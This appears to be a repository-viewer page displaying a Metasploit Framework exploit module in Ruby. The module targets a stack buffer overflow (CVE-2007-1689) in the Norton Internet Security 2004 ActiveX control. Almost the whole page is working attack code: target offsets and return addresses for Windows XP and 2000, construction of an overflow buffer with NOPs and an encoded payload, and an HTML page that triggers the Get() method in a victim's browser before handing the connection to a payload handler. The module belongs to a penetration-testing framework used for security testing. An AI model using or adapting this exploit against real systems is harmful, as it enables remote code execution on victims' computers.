Statistics
| Branch: | Tag: | Revision:

root / modules / exploits / windows / browser / nis2004_get.rb @ master

History | View | Annotate | Download (2.5 kB)

1
##
2
# $Id$
3
##
4

    
5
##
6
# This file is part of the Metasploit Framework and may be subject to
7
# redistribution and commercial restrictions. Please see the Metasploit
8
# Framework web site for more information on licensing and terms of use.
9
# http://metasploit.com/framework/
10
##
11

    
12
require 'msf/core'
13

    
14
class Metasploit3 < Msf::Exploit::Remote
15
        Rank = NormalRanking
16

    
17
        include Msf::Exploit::Remote::HttpServer::HTML
18

    
19
        def initialize(info = {})
20
                super(update_info(info,
21
                        'Name'           => 'Symantec Norton Internet Security 2004 ActiveX Control Buffer Overflow',
22
                        'Description'    => %q{
23
                                        This module exploits a stack buffer overflow in the ISAlertDataCOM ActiveX
24
                                Control (ISLAert.dll) provided by Symantec Norton Internet Security 2004.
25
                                By sending a overly long string to the "Get()" method, an attacker may be
26
                                able to execute arbitrary code.
27
                        },
28
                        'License'        => MSF_LICENSE,
29
                        'Author'         => [ 'MC' ],
30
                        'Version'        => '$Revision$',
31
                        'References'     =>
32
                                [
33
                                        [ 'CVE', '2007-1689' ],
34
                                        [ 'OSVDB', '36164'],
35
                                        [ 'URL', 'http://securityresponse.symantec.com/avcenter/security/Content/2007.05.16.html' ],
36
                                ],
37
                        'DefaultOptions' =>
38
                                {
39
                                        'EXITFUNC' => 'process',
40
                                },
41
                        'Payload'        =>
42
                                {
43
                                        'Space'         => 800,
44
                                        'BadChars'      => "\x00\x09\x0a\x0d'\\",
45
                                        'StackAdjustment' => -3500,
46
                                },
47
                        'Platform'       => 'win',
48
                        'Targets'        =>
49
                                [
50
                                        [ 'Windows XP SP0/SP1 Pro English',     { 'Offset' => 272, 'Ret' => 0x71aa32ad } ],
51
                                        [ 'Windows 2000 Pro English All',       { 'Offset' => 272, 'Ret' => 0x75022ac4 } ],
52
                                ],
53
                        'DisclosureDate' => 'May 16 2007',
54
                        'DefaultTarget'  => 0))
55
        end
56

    
57
        def on_request_uri(cli, request)
58
                # Re-generate the payload
59
                return if ((p = regenerate_payload(cli)) == nil)
60

    
61
                # Randomize some things
62
                vname        = rand_text_alpha(rand(100) + 1)
63
                strname        = rand_text_alpha(rand(100) + 1)
64

    
65
                # Set the exploit buffer
66
                sploit =  rand_text_alpha(target['Offset']) + Rex::Arch::X86.jmp_short(12)
67
                sploit << make_nops(2) + [target.ret].pack('V') + p.encoded
68

    
69
                # Build out the message
70
                content = %Q|
71
                        <html>
72
                        <object classid='clsid:BE39AEFD-5704-4BB5-B1DF-B7992454AB7E' id='#{vname}'></object>
73
                        <script language='javascript'>
74
                        var #{vname} = document.getElementById('#{vname}');
75
                        var #{strname} = new String('#{sploit}');
76
                        #{vname}.Get(#{strname});
77
                        </script>
78
                        </html>
79
                        |
80

    
81
                print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
82

    
83
                # Transmit the response to the client
84
                send_response_html(cli, content)
85

    
86
                # Handle the payload
87
                handler(cli)
88
        end
89

    
90
end